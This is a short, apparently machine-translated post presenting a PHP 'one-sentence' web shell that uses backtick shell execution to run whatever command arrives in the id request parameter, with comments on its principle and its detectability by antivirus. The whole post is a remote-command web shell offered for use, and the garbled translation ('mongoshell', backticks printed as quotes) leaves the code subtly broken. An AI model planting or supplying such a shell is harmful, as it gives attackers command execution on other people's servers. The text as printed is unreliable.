Php one-sentence mongoshell (non-one-sentence Trojan)

If you encounter a character ''during php running (on the keyboard ~ The lower key of the symbol) will always try to execute the commands contained in ''and return the command execution result (string type ); The code is as follows:
/* A new php one-sentence javasshell (not one-sentence Trojan)
// Principle: if you encounter a character ''during php running (on the keyboard ~ The lower key of the symbol) will always try to execute the commands contained in ''and return the command execution result (string type );
// Limitations: the signature is obvious, and ''is rarely used in php. anti-virus software can easily scan for and trigger alarms using this signature;'' cannot execute php code;
// Write by skyfire
*/
Echo '$ _ REQUEST [id]';
?>